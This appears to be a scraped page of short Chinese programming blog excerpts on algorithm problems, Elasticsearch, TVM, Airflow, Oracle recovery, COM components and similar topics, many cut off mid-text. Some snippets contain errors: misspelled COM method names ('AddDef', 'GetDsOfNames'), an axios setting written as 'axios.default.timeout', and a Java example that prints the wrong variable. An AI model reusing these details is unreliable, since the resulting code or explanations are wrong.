leetcode 263. 丑数

263. 丑数 class Solution { public: bool isUgly(int n) { if(n <= 0) return false; while(n % 2 == 0 || n % 3 == 0 || n % 5 == 0) { if(n % 2 == 0) n /= 2; if(n % 3 == 0) n /= 3; if(n % 5 == 0) n /= 5; } return n == 1; } };

cuDNN error: CUDNN_STATUS_BAD_PARAM

cuDNN error: CUDNN_STATUS_BAD_PARAM nn.Conv3d(in_channels=conv3dIn, out_channels=conv3dOut, kernel_size=conv3dKer_size, stride=conv3dStride, padding=conv3dPad) self.adaptive2d = nn.AdaptiveAvgPool2d((H,W)) kernel_size设置错误出现的 用 import torchsnooper with torchsnooper.snoop(): 代码块 @torchsnooper.snoop(): 函数

L1-028 判断素数

L1-028 判断素数 本题的目标很简单,就是判断一个给定的正整数是否素数。 输出格式: 输入在第一行给出一个正整数N(≤ 10),随后N行,每行给出一个小于2的31次方的需要判断的正整数。 输出格式: 对每个需要判断的正整数,如果它是素数,则在一行中输出Yes,否则输出No。 输入样例: 2 11 111 输出样例: Yes No 解题思路: 素数,又称质数,是指一个大于1的数,除了1和它本身不能被其他数整除的数。 本题给的正整数m是小于2的31次方的数,2的31次方是2147483648,在int范围内。但最大值过大,如果用暴力解法易超时,可使循环到√m,因为如果存在可以被整除的数,则必定一个因数大于√m,一个因数小于√m,不然同大则乘积超出m,同小则乘积小于m。对于循环到√m,时间复杂度要比循环到m小很多。 代码模板: 暴力解法 //易超时 #include<stdio.h> #include<math.h> int main() { int n,m; int i,j; int k; scanf("%d",&n); for(j=0;j<n;j++){ k=1; scanf("%d",&m); if(m==1){ k=0; } else{ for(i=2;i<m;i++){ if(m%i==0){ k=0; break; } } } if(k){ printf("Yes\n"); } else{ printf("No\n"); } } } 循环至√m(m为正整数) #include<stdio.h> #include<math.h> int main() { int n,m; int i,j; int k,v; scanf("%d",&n); for(j=0;j<n;j++){ k=1; scanf("

es基本操作整理

POST 请求是没有幂等性的,PUT请求是有幂等性的 查看集群状态 GET /_cat/health?v GET /_cluster/health?v 查看集群节点列表 GET /_cat/nodes?v 查看所有索引 GET /_cat/indices?v 查看单个索引结构信息 GET /indexName?pretty=true 创建索引 PUT /shopping 查询索引 GET /shopping 删除索引 DELETE /shopping 创建文档 POST /shopping/_doc { "title":“小米utro”, “category”:"小米", “images”:"", "price":4999 } //上面的创建是使用es默认的id,也可以自定义,结果中的_id就是1001 PUT /shopping/_doc/1001 { "title":“小米utro”, “category”:"小米", “images”:"", "price":4999 } 主键查询文档 GET /shopping/_doc/1001 全部查询 GET /shopping/_search GET /shopping/_search?pretty=true GET /shopping/_search?q=category:小米&pretty=true 完全修改 PUT /shopping/_doc/1001 { "title":“小米mix”, “category”:"小米", “images”:"", "price":4999 } 局部修改 POST /shopping/_update/1001 { "doc":{ "title":“华为手机”, } } 删除文档

关于es的一些问题

什么叫倒排索引? 关键词和数据的关联,保存到倒排表,查询时从倒排表中进行查询 es为什么要把索引设计成不可变的, 索引不可变有什么好处? es是支持集群的,这就必然涉及到一个多线程多进程的问题。假如索引可变,就必须增加锁的机制,所以,索引不可变就不需要锁了。降低了系统的复杂度。 索引不可变的另一个好处就是可以更有效的利用内存,由于索引不可变,当索引 一旦被读入内存,他就可以一直在那儿,只要系统有足够的内存空间,大量的读就可以直接通过访问内存来完成,极大的提高了系统的性能。总结来说,不可变有两个好处,一是不用考虑锁,二是高效利用内存。 索引不可变每次更新文档都需要将旧索引删除重新建立索引,更新频繁的话会很影响效率,es如何解决索引更新的问题? es为了解决这个问题,引入了动态索引的思想。 动态索引的本质是多个索引,当新增文档时,直接生成一个新的索引,当进行查询时,将每个索引的数据都查询出来,然后进行聚合处理。 索引过多时,查询结果聚合也会影响查询效率,es如何解决这个问题? 在es中每一个倒排索引都称之为一个segment(段)。es查询时会将所有的segment结果查询出来然后进行聚合汇总返回。索引不可变,事实上就是segment不可变。当segment不断增多时,合并汇总的压力会增大,此时会触发es的segment合并的线程,将许多小的segment合并成一个大的segment,并删除原来小的segment es 如何保存数据的?(translog的作用) 对于es来说,文档也不是直接就放进文件中,而是先会在内存中进行处理,处理成索引信息后,会等到缓冲区满或显示提交时,才会保存到文件中。 但是如果es进程出现问题,数据就可能会丢失。所以,es在索引之会先写入translog,该日志写在文件中,然后生成索引,最后才会保存到文件中。这样就算es进程出现问题,会先从translogh中进行恢复,保证了数据不丢失‘。 回顾es索引过程,不断写入操作translog就会不断增大,而已经写入成功的transLog其实是完全没有必要存在的,es如何解决的?(flush) es的策略是flush,即每30分钟将translog向磁盘转移一次,转移成功后就会清空translog.当translog达到设定得最大值时,即使没到30分钟也会进行flush。 可以通过配置修改flush的间隔时长以及触发的最大值等。如下: index.translog.flush_threshold_ops:当发生多少次操作时进行一次flush。默认是 unlimited。 index.translog.flush_threshold_size:当translog的大小达到此值时会进行一次flush操作。默认是512mb。 index.translog.flush_threshold_period:在指定的时间间隔内如果没有进行flush操作,会进行一次强制flush操作。默认是30m。 index.translog.interval:多少时间间隔内会检查一次translog,来进行一次flush操作。es会随机的在这个值到这个值的2倍大小之间进行一次操作,默认是5s。 近实时搜索 在 Elasticsearch 中,写入和打开一个新段的轻量的过程叫做 refresh 。 默认情况下每个分片会每秒自动刷新一次。这就是为什么我们说 Elasticsearch 是 近 实时搜索: 文档的变化并不是立即对搜索可见,但会在一秒之内变为可见。默认每秒刷新一次。可以修改这个刷新频率, PUT /my_logs { "settings": { "refresh_interval": "30s" } } 也可以关闭 PUT /my_logs/_settings { "refresh_interval": -1 } 打开 PUT /my_logs/_settings { "refresh_interval": "1s" } es写数据的流程 1. 客户端请求集群节点(任意) 协调节点 2. 协调节点将请求转换到制定的节点 3. 主分片需要将数据保存 4. 主分片将数据发送给副本 5.

Pycharm TODO(待办)功能

如图所示,任意需要后期注意的代码后添加 # TODO 这里可以写提醒内容 然后在下方的TODO栏中便可以找到对应的事项,双击即可进入代码位置

TVM学习(八)pass总结

什么是pass? Pass是TVM中基于relay IR进行的优化,目的是去除冗余算子,进行硬件友好的算子转换,最终能够提高硬件运行效率。由tensorflow等深度学习框架生成的图机构中,含有很多可以优化的算子,比如expand_dim,len等,其实在编译阶段完全可以优化掉,从而能够减少硬件的计算,以及避免出现硬件不支持的算子。 TVM中在include/tvm/ir/transform.h中对pass进行了抽象,主要包括PassContext,PassInfo,Pass,以及Sequential。其中PassContext包含了pass执行依赖的一些参数,比如优化level,analysis report等。PassInfo是一个用于记录pass信息的类,包括pass的opt-level,名称等。和PassContext的区别是PassContext是pass执行所需要获取的条件。Pass就是执行pass的主体,主要就是pass的函数。比如RemoveUnusedFunctions就是执行pass的一个主体函数,目的就是去除冗余算子。Sequential是一个container,装载所有pass。 一些pass 01 RemoveUnusedFunctions 位于src/relay/backend/vm/http://removed_unused_funcs.cc中,顾名思义就是去除relay IR中的冗余函数。通过从main函数开始遍历,如果一个函数体没有引用其它函数,而同时又没有被其它函数调用,即从relay图上看是一个孤立算子,那么就从IRModule中删除。 void VisitExpr_(const FunctionNode* func_node) final { auto func = GetRef<Function>(func_node); if (visiting_.find(func) == visiting_.end()) { visiting_.insert(func); for (auto param : func_node->params) { ExprVisitor::VisitExpr(param); } ExprVisitor::VisitExpr(func_node->body); } } 02 ToBasicBlockNormalForm 函数在文件src/relay/trnaforms/http://to_basic_block_normal_from.cc中。通过遍历IRModule中的每个function,将每个function转换为基本块形式。转换函数是ToBasicBlockNormalFormAux。这个函数包括两个步骤:一是找到基本块(basic block)的边界,TVM中对边界进行了一步抽象,判断每个expr是否属于同一个scope,如果scope相同那么就可以将这些表达式放在一个基本块中;第二步根据每个表达式所属的scope将表达式归属到一个基本块中。 Expr ToBasicBlockNormalFormAux(const Expr& e) { // calculate all the dependency between nodes. support::Arena arena; DependencyGraph dg = DependencyGraph::Create(&arena, e); /* The scope of the whole expr is global. * The scope of any subexpr, is the lowest common ancestor of all incoming edge.

学习笔记_使用二进制的方式修改图片

学习笔记_使用二进制的方式修改图片 1、学习目标2、学习工具3、开始操作3.1 了解图片是怎样用二进制表示的3.2 开始操作 4、参考文档 1、学习目标 掌握使用二进制的方式修改图片了解BMP位图格式的内存存储方式 2、学习工具 Hex Editor Neo(二进制、十六进制文件编辑查看器) 提取码:ayyh 3、开始操作 3.1 了解图片是怎样用二进制表示的 根据了解: 1、在计算机中,所有的颜色都可以映射为一个二进制的值。 2、图片存储时,图片上每个点都有自己的颜色值,将每个点的颜色值,以及图片本身的宽高信息储存起来,就是最基本的位图存储(bmp),位图存储是没有压缩的。 3、将位图信息,经过二次编码,压缩就形成了压缩后的图片。算法不同产生的图片格式也有区别。常见的包括jpg,png,gif等。 我对这段话的理解是: 图片最初就是以二进制的方式,将自身的宽高以及每个点的颜色值存储起来,这种存储方式就是最基本的位图存储,而使用这种方式存储的图片就称为位图。 常见的位图格式有 Adobe Photoshop (.PSD)、OS/2位图 (.BMP) 等等,为了方便,本次学习我就用win10系统自带的画图软件创建了一张1000*1000像素、背景为纯白的.bmp图片。 3.2 开始操作 还是先用 Hex Editor Neo 工具打开创建好的.bmp文件,如图 从 BMP位图格式的内存存储方式 这一篇文章中可以了解到,文件中的0-53位byte分别存储着图片的大小、高宽、分辨率等信息;从第54位开始,按顺序每一个字节存储着一个像素的颜色值, 所以想要使用二进制的方式修改图片,只需要修改第53位byte后面的数据即可(最后一个byte存储的是图像右上角像素的数值,不可修改) 既然说好是用二进制的方式修改,那还是先把数据的显示方式修改位二进制,然后如图修改一下。 因为创建的是1000*1000像素的图片,也就是存储着1000000个byte的颜色值,所以看似修改了这么多,实际上才有这么一丢丢反应 4、参考文档 图片是怎样用二进制表示的 位图文件格式主要有哪些 BMP位图格式的内存存储方式——来自CSND 作者:清风徐行

算法:围圈报数类问题经典解题思路

算法:围圈报数类问题经典解题思路 大概题型如下: 描述 有n个人依次围成一圈,从第1个人开始报数,数到第m个人出列,然后从出列的下一个人开始报数,数到第m个人又出列,…,如此反复到所有的人全部出列为止。设n个人的编号分别为1,2,…,n, 打印出列的顺序。 格式 输入格式 n和m。 输出格式 出列的顺序。 样例 输入样例 4 17 输出样例 1 3 4 2 限制 时间限制: 1000 ms 内存限制: 65536 KB 解题代码:(虽然我也是“拿来主义者,但有时还是要有点追求,建议看下代码下面的原理”) #include <iostream> #include <cstdio> #include <string> #include <cstring> #include <algorithm> #include <math.h> using namespace std; int main() { int n,m; int num=1;//计数器 int peopleNum=0;//人数 int index=0; int t[10240]={0}; scanf("%d %d",&n,&m); while(1) { if(t[index]==0)//等于0,表示人还在 { if(num%m==0) { //printf("%d %d %d\n",num,m,index); t[index]=1; printf("%d ",index+1); peopleNum++; } num++; } index++; if(index>=n) index=0; if(peopleNum==n) break; } return 0; } 这只是这么多这种题型中的一道,所以要掌握的是这种题的解题套路以及相关相关思想。

hybrid 是什么

hybrid 文字解释 hybrid 即“混合”,即前端和客户端的混合开发需前端开发人员和客户端开发人员配合完成某些环节也可能涉及到 server 端PS:不要以为自己的前端就可以不理会客户端的知识

赛元单片机触摸按键调节及避坑指南(以SC92F8461B的高灵敏触摸为例)

目录 前言流程总览步骤说明1.烧录官方高灵敏hex文件2.目标板连接电脑并选择初始参数3.参数调整4.验证相互间影响5.将配置信添加到工程6.灵活调整 总结 前言 项目中前前后后用到过好多次带触摸按键功能的赛元单片机,第一次使用时研究了好久的使用手册。过了一段时间后,再次使用,便又忘了,写下这篇文章,方便今后查阅和回顾。 本文以SC92F8461B,静态调试高灵敏触摸为例。 流程总览 1.烧录官方高灵敏hex文件 2.目标板连接电脑并选择初始参数 3.参数调整 4.验证相互间影响 5.将配置信添加到工程 6.灵活调整 下面从各个步骤进行说明,重点是步骤2、3及步骤6。 步骤说明 1.烧录官方高灵敏hex文件 向官方或者代理的技术支持要到静态触摸调试的hex文件(这个文件官网下载不到),SC92F8x6xB用到的hex文件已上传至楼主资源,文件截图如下: 用官方提供的程序烧录软件SOC Pro51烧录至目标板,软件及其界面如下: 烧录中的选项可参考此界面。 2.目标板连接电脑并选择初始参数 完成上一步操作之后,最好将烧录器拔插一次,要不然上位机软件可能会检测不到目标板。打开触控调节的上位机软件,软件图标如下: 选择"高灵敏度触控": 上位机初始界面如下: 以SC92F8461B为例,我只会更改红框中的参数,首先选择对应的型号,抗干扰设置改为1:12bit,选择用到的通道,其它参数保持默认,就可以点确定了。 等待触控芯片自适应参数,若上位机提示检测不到目标板,可以按下面的步骤进行排查: 避坑指南 ①重新拔插目标板与烧录器的连接,重新拔插烧录器与电脑的连接。 ②调试时用到的TCK和DIO端口是否连接了阻容,如果是,最好拆掉后跳个线再试一下。 tips:以上问题都是我自己曾经遇到过的,最后都由上述方案得到了解决。 连接成功后,就可以进行参数调整了。 3.参数调整 目标板与电脑连接成功后的界面如上图所示,红框框中的按钮表示要调整两个按键的参数,点击第一个按钮,界面如下: 点击启动调试后,跟随上位机指示,完成参数调整。 在完成参数调整后,若参数调整成功,界面如下: 再看下失败的界面: 失败的界面下会有很多参数是红色的,这表示参数不在限定条件内,即参数调整失败。我在调整时也遇到过几次这样的现象,基本上都是硬件问题,经验如下: ①检查板子的CMOD引脚是否复用外接了负载,此引脚在激活触控功能时不能连接负载,若连接了负载,断开负载再试试。 ②触摸按键所接的阻容参数不合适,这点可详细看下文档,或者问下FAE。 这些数字是多少不是很重要,只要是参数调节成功后,就可以进入下一步操作了。 4.验证相互间影响 点击上图中的按钮, 按照图片中的提示进行操作,当按键都检测完后,检测成功的话会有如下的提示: 我遇到过一次诊断失败的情况,但是最后排查后发现并不是目标板布线的问题,而是端子处的阻容不匹配,导致提示按键之间有影响。 5.将配置信添加到工程 诊断完成后,便可点击如下按钮生成.h文件了,默认文件名是S_TouchKeyCFG.h,然后将此文件添加至工程即可。 我个人喜欢将此头文件和官方的lib文件和.c文件放在一个文件夹下,如下图所示,方便管理。 6.灵活调整 将此文件添加至工程后,上位机生成的参数只是可以确保开发者能使用按键,但是对于EMC实验等还需要手动微调。可以在调节参数时使用相应规格的铜柱来辅助调整,这里没有什么技巧,就是慢慢试,而且调整一次就要烧录一次,然后用铜柱验证。 下面对哪些是开发者可以自己调整的参数进行说明: ①标号的位置表示是否激活组合按键,为0表示不激活组合按键,为1表示激活组合按键 ②标号的位置是用于修改灵敏度的,可用于过emc的抗干扰试验,两个字节组成的16位数据,此数据越大,灵敏度便越低。一般来说都是灵敏度太高才需要我们去手动调整,我一般是直接修改高字节的数据,以上图为例的话,这个数据是未经修改的,我一般会把0x00改成0x01或0x02,来烧录验证。这些只是个人经验,具体板子需要具体应对。 总结 需要提醒一下,赛元的官方库会直接输出一个键值信息,应该是32位的,这个键值是可以直接使用的,当然,也可以基于此键值继续写一下消抖函数,这个键值具体的用法这篇就不介绍了,本文主要目的在于如何成功输出一个有效的配置头文件。文中提到的工具都已打包好上传至我的资源中,包括说明文档,使用指南和烧录工具及上位机软件,都是赛元官方的,除了库文件外,官网都可以直接下载。 笔芯,变得更强~

Hive 加载数据跳过表头

Hive 加载数据跳过表头 问题 问题描述 hive加载数据时把表头当作数据加载到表中 执行命令 load data inpath "hdfs://node4.co:9000/hotelsparktask3" overwrite into table rawdata; 解决方案 方案一 修改已建的表 alter table rawdata set TBLPROPERTIES ('skip.header.line.count'='1'); 方案二 创建表时指定 create table rawdata( seq string, hotelname string comment "酒店", country string comment "国家", province string comment "省份", city string comment "城市", trading_area string comment "商圈", start string comment "星级", ywbm string comment "业务部门", room string comment "房间数", image string comment "图片数", score string comment "

Navicat for MySQL导入json文件教程

导入json文件 1打开数据库2点击表,导入向导3选择导入json文件3 不要选择标签 ,点击下一步4点击开始5打开数据库刷新,6设计表,设置主键自增 1打开数据库 2点击表,导入向导 3选择导入json文件 3 不要选择标签 ,点击下一步 4点击开始 5打开数据库刷新, 6设计表,设置主键自增

axios请求超时:timeout of 5000ms exceeded的解决方法

timeout of 5000ms exceeded的解决方法 如果第一次遇到了这个问题,看报错提示是请求超时了,也就是数据还没返回来,然后就报错了 一般是两个解决方法, 1.是在main.js里面设置axios的超时时间,但是一般都是没有的你要自己设置,然后main.js在你的项目的src下面可以找到,在里面添加上axios.default.timeout=50000 意思就是超时时间设置为50秒应该够了,设置了没用 2.在src文件夹下的utils文件夹里的request.js,设置 axios.default.timeout=50000 就解决了!

红黑树_插入操作(实例)

文章目录 rotate operation:pseudocode the left_rotate() in python:for example : the different insert cases:the properties of the red-black tree: if not so luckycase1:the uncle node of the node to be insert to the tree is red:case2:the uncle node of the node(z) to be insert is black and the node z is the right child of its parent nodecase3:the uncle node of the node(z) to be insert is black and the node z is the left child of its parent node:the right_rotation pseudocode is symmetric (similarly) classic exsample from Introduction to algorithm:fixup for example:pseudocode red_black_tree_fixup() in python:pseudocode red_black_tree_insert() in python: rotate operation: The selected point to rotate is rotated around the child node on the specified side (essentially altering the pointer)

Airflow2.0+celery+redis任务调度部署及使用

Airflow任务调度 (本文档内容有同事贡献部分,该部分标记为蓝色,对同事表示感谢) 目录 一、环境 二、基础参数 三、任务类型 四、使用步骤 五、需要解决的问题(绿色表示已解决) 六、注意事项 一、环境 版本:airflow 2.0.0;python 3.6 部署方式:集群部署,运行在anaconda3的虚拟环境 (airflow) * 节点7 [webserver、schuduler、worker] * 节点8 [worker] * 节点9 [worker、schuduler] 官网文档(最新):http://airflow.apache.org/docs/apache-airflow/stable/start.html 非官方翻译中文文档(1.10.2):https://airflow.apachecn.org/#/ 二、基础参数 default_args = { 'owner': '***', 'start_date': days_ago(1), 'email': ['xxx@qq.com'], 'email_on_failure': True, 'email_on_retry': False, 'retries': 1, 'retry_delay': timedelta(seconds=50), 'pool': 'test', 'priority_weight': 100 } baseoperator( :param task_id: a unique, meaningful id for the task :type task_id: str :param owner: the owner of the task, using the unix username is recommended

memcached php 函数,PHP:Memcached::flush()的用法_Memcached类

Memcached::flush (PECL memcached >= 0.1.0) Memcached::flush — 作废缓存中的所有元素 说明 public bool Memcached::flush ([ int $delay = 0 ] ) Memcached::flush()立即(默认)或者在delay延迟后作废所有缓存中已经存在的元素。 在作废之后检索命令将不会有任何返回(除非在执行Memcached::flush()作废之后,该key下被重新存储过)。flush不会 真正的释放已有元素的内存, 而是逐渐的存入新元素重用那些内存。 参数 delay 在作废所有元素之前等待的时间(单位秒)。 返回值 成功时返回 TRUE, 或者在失败时返回 FALSE。 如需要则使用 Memcached::getResultCode()。 范例 Example #1 Memcached::flush() 示例 $m = new Memcached(); $m->addServer('localhost', 11211); /* 10秒内清除所有元素 */ $m->flush(10); ?> PHP:Memcached::fetchAll()的用法_Memcached类 Memcached::fetchAll(PECLmemcached=0.1.0)Memcached::fetchAll抓取所有剩余的结果说明publicarrayMemcached::fetchAll(void)Memcached::fetchAll()抓取最后一次请求的结果集中剩余的所 PHP:Memcached::deleteByKey()的用法_Memcached类 Memcached::deleteByKey(PECLmemcached=0.1.0)Memcached::deleteByKey从指定的服务器删除一个元素说明publicboolMemcached::deleteByKey(string$server_key,string$key[,int$time=0])Memcached::dele PHP:Memcached::__construct()的用法_Memcached类 Memcached::__construct(PECLmemcached=0.1.0)Memcached::__construct创建一个Memcached实例说明Memcached::__construct([string$persistent_id])创建一个代表到Memcached服务端连接的Memcache

Oracle无法标识锁定数据文件,启动错误ORA-01157: 无法标识/锁定数据文件 解决方案...

问题描述 启动oracle出现错误:Oracle ORA-01033: ORACLE initialization or shutdown in progress 提示文件锁定 第1 行出现错误: ORA-01157: 无法标识/锁定数据文件2 - 请参阅DBWR 跟踪文件 ORA-01110: 数据文件2 ''''C:\oracle\oradata\oradb\XBC.DBF'' 一般是由于删除表空间对应的文件不当引起。 解决方法 第一步:启动监听 第二步:SQL>connect sys/xxx as sysdba 提示:已成功 第三步:SQL>shutdown normal 提示;数据库已经关闭 已经卸载数据库 ORACLE 例程已经关闭 第四步:SQL>startup 第五步:SQL>alter database open; 第1 行出现错误: ORA-01157: 无法标识/锁定数据文件2 - 请参阅DBWR 跟踪文件 ORA-01110: 数据文件2: ''''C:\oracle\oradata\oradb\XBC.DBF'' 第六步:SQL>alter database datafile 2 offline drop; --datafile 可换成具体文件'C:\oracle\oradata\oradb\XBC.DBF' 第七步:SQL>alter database open; 如无效输入shutdown normal,startup重新启动看是否生效。

简单复习最小生成树算法-Prim和Kruskal

参考资料: https://blog.csdn.net/qq_41754350/article/details/81460643https://blog.csdn.net/qq_41754350/article/details/81271567https://zhuanlan.zhihu.com/p/34922624 Prim算法 Prim针对点,而Kruskal针对边。Prim只适合无向带权图。维持一个集合,一开始选定一个点作为初始集合,另维持一个prev和dist列表。dist列表表示初始集合到其余所有点的距离,prev表示新加入集合的节点的前一个节点。它的加入策略是:不属于集合的且离集合最近的点。 即:Prim算法不断加入节点,直到所有节点都加入集合。 需要注意Prim和Dijkstra算法很相似,Dijkstra也是维持一个节点列表,并不断往集合中添加节点,但是Dijkstra也适合有向图,而且Dijkstra计算的是单一源节点到其余所有节点的最短距离,而Prim生成的是使得所有边的权值之和最小。 Kruskal算法 Kruskal算法是针对边的算法,采用并查集的方法。其首先以每个顶点单独作为一个集合,然后对所有边进行排序,选取最短的边,如果该边中两个节点不属于同一个并查集,那么就将这两个节点所属的并查集合并为同一个并查集,n个节点,共需要n-1条有效边。 并查集:定义一个father列表,一开始每个节点的father都是它自己,然后加入新节点后,新节点的father定义为这个并查集的总的father,然后每次判断两个节点是否在同一个并查集时,只需判断他们father是否相同即可。关于father的查找,可以用father[x] == x来判断,为True,就找到了该并查集的father。 同时father列表也可以用于保存最小生成树的形状。 而如果不需要保存最小生成树的形状,也可以在A、B并查集合并时,让B集中所有元素的father都等于A的father,这样每个节点都能直接找到最终father,能加快速度。 每发现一条有效边时,需要保存其权重,作为最终的权值之和。

php cgi 71.sock 重启,/tmp/php-cgi-71.sock

2021/03/11 13:51:06 [error] 2209#0: *1251111 connect() to unix:/tmp/php-cgi-71.sock failed (11: Resource temporarily unavailable) while connecting to upstream, client: 110.24.15.5, server: app.xxx.cn, request: “GET /api/order/getAuth?uuid=fexasdq&verify=MDAwMDAwMDAwMMbarGHJZ4uxmImynrCfumay372wsH5gcg&ver=3.0.0.202103090 HTTP/1.1”, upstream: “fastcgi://unix:/tmp/php-cgi-71.sock:”, host: “app.baidu:17008” 正常时候不会有这个报错,请求量每秒50000~60000左右就会报错,还有加负载均衡会报错 回答 问题补充: 【PHP配置】 listen = /tmp/php-cgi-71.sock listen.backlog = 8192 listen.allowed_clients = 127.0.0.1 listen.owner = www listen.group = www listen.mode = 0666 user = www group = www pm = static pm.status_path = /phpfpm_71_status pm.max_children = 200 pm.start_servers = 15

Java和php时间戳转换问题,java 时间戳和PHP时间戳 的转换 php time()

最近在弄discuz,数据库mysql,时间类型int 10 总结一下java 时间戳和PHP时间戳 的转换问题: 由于精度不同,导致长度不一致,直接转换错误。 JAVA时间戳长度是13位,如:1294890876859 PHP时间戳长度是10位, 如:1294890859 主要最后三位的不同,JAVA时间戳在PHP中使用,去掉后三位,如:1294890876859-> 1294890876 结果:2011-01-13 11:54:36 echo date('Y-m-d H:i:s','1294890876'); 复制代码 PHP时间戳在JAVA中使用,最后加三位,用000补充,如:1294890859->1294890859000 结果:2011-01-13 11:54:19 SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String dateTime = df.format(1294890859000L); System.out.println(df); 复制代码 总结一下java时间戳和PHP时间戳 的转换问题: 由于精度不同,导致长度不一致,直接转换错误。 JAVA时间戳长度是13位,如:1294890876859 PHP时间戳长度是10位, 如:1294890859 主要最后三位的不同,JAVA时间戳在PHP中使用,去掉后三位,如:1294890876859-> 1294890876 结果:2011-01-13 11:54:36 echo date('Y-m-d H:i:s','1294890876'); PHP时间戳在JAVA中使用,最后加三位,用000补充,如:1294890859->1294890859000 结果:2011-01-13 11:54:19 SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String dateTime = df.format(1294890859000L); System.out.println(df);

Python练习题二(2021.04.09)

————————Python练习题二——————— 题目一:为了提倡居民节约用电,某省电力公司执行“阶梯电价”,安装一户一表的居民用户电价分为两个“阶梯”:月用电量50千瓦时(含50千瓦时)以内的,电价为0.53元/千瓦时;超过50千瓦时的,超出部分的用电量,电价上调0.05元/千瓦时。请编写程序计算电费。 输入格式: 输入在一行中给出某用户的月用电量(单位:千瓦时)。 输出格式: 在一行中输出该用户应支付的电费(元),结果保留两位小数,格式如:“cost = 应付电费值”;若用电量小于0,则输出"Invalid Value!"。 输入样例1: 10 输出样例1: cost = 5.30 输入样例2: 100 输出样例2: cost = 55.50 解题代码: x = int(input()) if x >= 0 and x <= 50: cost = 0.53 * x elif x > 50: cost = (0.53+0.05) * (x - 50) + 50 * 0.53 else: print("Invalid Value!") exit()#若x<0输出完直接终止 print("cost = %.2f"%cost) 题目二:给定两个均不超过9的正整数a和n,要求编写程序求a+aa+aaa++⋯+aa⋯a(n个a)之和。 输入格式: 输入在一行中给出不超过9的正整数a和n。 输出格式: 在一行中按照“s = 对应的和”的格式输出。 输入样例: 2 3

简单复习最短路算法-Floyd和Dijkstra

Floyd算法是求每一个顶点到每一个顶点间的最短距离,Dijkstra是求指定顶点到其余所有顶点间的最短距离。 **Floyd思想:**不断加入新的中间结点,来判断加入新节点会否使得某点到其余点距离更近。 for i in range(len(V)): # 中间结点 for j in range(len(V)): # 起始顶点 for k in range(len(V)): # 结束顶点 if dist[j][k] > dist[j][i] + dist[i][k]: dist[j][k] = dist[j][i] + dist[i][k] **Dijkstra思想:**在所有顶点集合V之外,定义一个源节点集S,不断往S中添加结点,并计算指定节点A在通过源节点集后到达其余结点的最短距离,并不断更新这个距离。每次选取A通过源节点集能到达的其余所有节点的最近的节点加入源节点集,直到源节点集=顶点集合V。 while V - S != NULL: find v_i that can achieve the minist dist[A, v_i] from the set V - S S = S U v_i for v_j ∈ V - S: if dist[A, v_j] > dist[A, v_i] + dist[v_i, v_j]: dist[A, v_j] = dist[A, v_i] + dist[v_i, v_j]

leetcode 32. 最长有效括号

32. 最长有效括号 class Solution { public: int max(int a, int b) { return a > b ? a : b; } int longestValidParentheses(string s) { vector<int> dp(s.size(), 0); int max_len = 0; bool flag = true; while(flag) { flag = false; for(int ii = 0; ii < s.size(); ) { if(dp[ii] == 0 && s[ii] == '(' && ii + 1 < s.size() && ii + dp[ii + 1] < s.

js解leetcode(82)-中等

1.困于环中的机器人 题目: 在无限的平面上,机器人最初位于 (0, 0) 处,面朝北方。机器人可以接受下列三条指令之一: "G":直走 1 个单位"L":左转 90 度"R":右转 90 度 机器人按顺序执行指令 instructions,并一直重复它们。 只有在平面中存在环使得机器人永远无法离开时,返回 true。否则,返回 false。 思路:明确一点:如果执行完一轮指令之后,方向不是朝北,或者回到原点,那么都会成环。 回到原点不多说。方向不是朝北呢?其实就是,如果方向不是朝北,那么后续的路径是绕着原点中心对称的。所以肯定成环 所以执行完一轮命令之后判断方向和位置即可 时间复杂度O(n),空间复杂度O(1) /** * @param {string} instructions * @return {boolean} */ var isRobotBounded = function(instructions) { let dir = 0; const position = [0, 0]; const vmap = { 0: 1, 1: 1, 2: -1, 3: -1, }; const dmap = { 0: 1, 1: 0, 2: 1, 3: 0, }; for (const s of instructions) { if (s === "

第3章-10 统计大写辅音字母 (15 分)

英文辅音字母是除A、E、I、O、U以外的字母。本题要求编写程序,统计给定字符串中大写辅音字母的个数。 输入格式: 输入在一行中给出一个不超过80个字符、并以回车结束的字符串。 输出格式: 输出在一行中给出字符串中大写辅音字母的个数。 输入样例: HELLO World! 输出样例: 4 str=input() count=0 for i in str: if i.isupper() and i!="A" and i!="E" and i!="I" and i!="O" and i!="U": count+=1 print(count) # i.isupper()方法检测字符串中所有的字母是否都为大写,当然可以取一个一个字符判断

浅谈COM组件

1、COM组件和COM接口 COM组件可以用C++的抽象基类来定义COM接口,对于COM组件来说,必须继承的最基本的COM接口:IUnknow,这个接口内部有三个函数: QueryInterfaceAddDefRelease interface IUnknow { virtual HRESULT QueryInterface(const IID &iid,void **ppv)= 0; virtual ULONG AddDef() = 0; virtual ULONG Release() = 0; } 2、QueryInterface 用处:查询某个组件是否支持某个特定的接口,如果支持,该函数返回一个指向该接口的指针 返回类型:HRESULT的含义如下: 参数类型:IID IID是一个接口标识符。 每个接口可以设置一个IID,用于标志该接口,标志了某个接口之后,IID的值不能再修改。 实际上,GUID和IID的关系如下 typedef GUID IID;//IID是GUID的一个别名 至于GUID,它是一个唯一标识DLL和EXE文件的标识符,用设备MAC地址、时间戳、随机数三重信息,确保生成一个相对唯一的标识符。 3、AddDef 和Release 用于引用计数技术,判断某个组件何时应该被释放资源(引用数为0时) AddDef:组件引用计数增加1,可以在组件函数返回之前或者赋值之后进行调用。 Release:组件引用计数减少1,当引用计数为0时,释放组件自身的内存资源,可以在接口使用完之后调用。 4、IDispatch接口 对于Javascript等解释性语言,需要通过自动化技术来调用COM组件的自定义接口。这类组件是支持IDispatch技术的。 IDispatch接口接受一个函数的字符串名称,执行这个函数 对于Javascript这类解释性语言来说,要调用COM组件中的自定义接口,需要把自定义接口中的函数名称和参数传给IDispatch,让IDispatch接口间接执行。 IDispatch接口中有两个函数:GetDsOfNames和Invoke。 GetDsOfNames函数读取一个函数名称,返回它的调度ID Invoke函数接受调度ID和函数参数,执行调度ID对应的函数功能。 总结:只要我们的COM组件支持IDispatch接口,那么就能在Javescript之类的解释性语言中使用我们设置的COM组件。且IDispatch接口一般不需要手动设置。 5、COM组件的数据类型 挑点比较特殊的说明一下 (1)VARIANT_BOOL及其指针 (2)BSTR及其指针 和BSTR相关的COM中的函数 COM组件中申请构造BSTR字符串: BSTR SysAllocString(const OLECHAR*) 根据字符串指针和字符个数构造BSTR字符串: BSTR SysAllocStringLen(const OLECHAR *,UINT) 获取字符串前的计数值 UINT SysStringLen(BSTR) 释放字符串 void 